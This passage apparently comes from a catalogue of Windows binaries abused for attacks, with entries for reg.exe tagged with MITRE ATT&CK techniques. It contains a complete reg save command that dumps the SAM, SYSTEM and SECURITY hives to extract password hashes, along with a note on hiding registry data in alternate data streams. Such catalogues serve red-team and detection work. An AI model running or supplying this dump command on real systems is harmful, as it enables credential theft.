Usecase: Hide/plant registry information in Alternate data stream for later use
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1564.004
Credentials
Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material
reg save HKLM\SECURITY c:\test\security.bak && reg save HKLM\SYSTEM c:\test\system.bak && reg save HKLM\SAM c:\test\sam.bak
Usecase: Dump credentials from the Security Account Manager (SAM)
Privileges required: Administrator
OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1003.002